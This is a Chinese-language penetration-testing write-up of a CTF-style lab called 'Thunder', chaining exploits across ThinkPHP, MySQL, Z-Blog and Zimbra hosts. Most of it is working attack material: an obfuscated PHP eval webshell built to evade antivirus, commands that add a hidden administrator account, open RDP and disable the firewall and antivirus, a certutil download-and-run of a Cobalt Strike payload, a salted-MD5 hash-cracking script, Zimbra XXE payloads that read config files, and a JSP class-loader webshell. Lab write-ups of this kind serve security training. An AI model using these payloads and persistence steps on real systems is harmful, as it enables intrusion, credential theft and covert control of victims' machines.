跳过正文

Cyberstrikelab-Thunder

·332 字·2 分钟
Cyberstrikelab ThinkPHP Mysql Z-Blog XXE
HYH
作者
HYH
一名专注于网络安全、渗透测试与 CTF 挑战的技术爱好者,热衷于记录实战经验、分享工具与技术,致力于持续学习与成长。
目录

ThinkPHP
#

进入80端口,用工具直接getshell

生成的后门很快会被查杀,因此可以写入一个免杀木马

<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}

$originalData = $_REQUEST["a"];
$key =  $_REQUEST["b"];


$encryptedData = xorEncryptDecrypt($originalData, $key);
$decryptedData = xorEncryptDecrypt($encryptedData, $key);
echo @eval($decryptedData);
?>

//密码是a

根目录拿到flag1

上传免杀CS木马,然后sweetpotato提权到system
开启RDP,添加后门

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
net user hack Admin@123 /add
net localgroup Administrators hack /add
netsh firewall set opmode disable

在目标 Windows 上执行以下命令,允许非 TLS、非 NLA 连接:

Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name SecurityLayer -Value 0
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 0

刚进去就看到360,把他关掉吧

查看网段信息
注意到172.20.57.98存活,并且开启了3306端口

Mysql
#

这里使用stowaway搭建代理,可以尝试出mysql的用户凭证:root/cslab,爆破的话会导致错误过多,IP被加入黑名单(这里之前可能存在提示,但是我做的时候没有)

使用MDUT,UDF提权后可以命令执行

将cs定向木马上传到ThinkPHP的目录中来下载,这里需要使用掩日做网络分离

certutil -urlcache -f -split http://172.20.57.30/Cld.exe Cld.exe
Cld.exe http://172.20.57.30/Cld.txt

拿到cs后,转发到msf上面

直接可以提权到system(用cs的sweetpotato也是一样,不过这个方便一点)
根目录拿到flag
依旧添加后门,开启RDP,上去就给MSDefender关掉,气死我了
查看到还有一个内网扫描,传fscan和stowaway上去
搭建二级代理

Z-Blog
#

内网扫描到一个Zblogit

在源码中看到版本信息
在之前的mysql中存在一个zb表,有用户名以及密码哈希等等

guid 24d876c8772572cf839674c5a176e41c
user cslab
pass 6e272dff11557a1e7ad35d0fdf1162c3 
email null@null.com 

查看源码发现哈希的生成逻辑,也就是很简单的二次MD5

import hashlib

target_hash = "6e272dff11557a1e7ad35d0fdf1162c3"
guid = "24d876c8772572cf839674c5a176e41c"

with open("/usr/share/wordlists/rockyou.txt", "r", encoding="latin1") as f:
    for line in f:
        password = line.strip()
        inner_md5 = hashlib.md5(password.encode()).hexdigest()
        final_hash = hashlib.md5((inner_md5 + guid).encode()).hexdigest()
        if final_hash == target_hash:
            print(f"[+] Found: {password}")
            break

得出密码是admin123,进入后台上传这个主题包

  • fengyijiu520/Z-Blog-: Z-Blog 后台文件上传漏洞
    查看sudo,发现有一个特殊文件write.sh,并且是当前可以写入的哦!
    改一下直接拿flag吧
    注意到还有一个内网,没办法还是得改下passwd,走ssh上去
    直接登上去就行了
    用scp上传fscan进行扫描,stowaway的agent进行代理,发现还有另一个主机10.1.1.56开放了443端口

CVE-2019-9670
#

用fscan直接扫出来了XXE

参考这篇文章

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
  <!ELEMENT name ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
  <Request>
    <EMailAddress>aaaaa</EMailAddress>
    <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
  </Request>
</Autodiscover>

然后用curl测试

直接读flag吧
给第三台机子的网站目录下添加exp.dtd

<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

发包得到密码

用这个脚本

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

Cookie: ZM_ADMIN_AUTH_TOKEN=0_deccfe0ee19318345a3115f64f8b6f637ac49cbe_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313735333332373330393032383b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d31303a313139303734363932383b

然后用蚁剑连接,注意添加Cookie以及忽略https证书

查看sudo -l可以看到似乎存在nginx的提权,但是版本有点过低了,我简单试了一下不行,那就到这里吧。

Reply by Email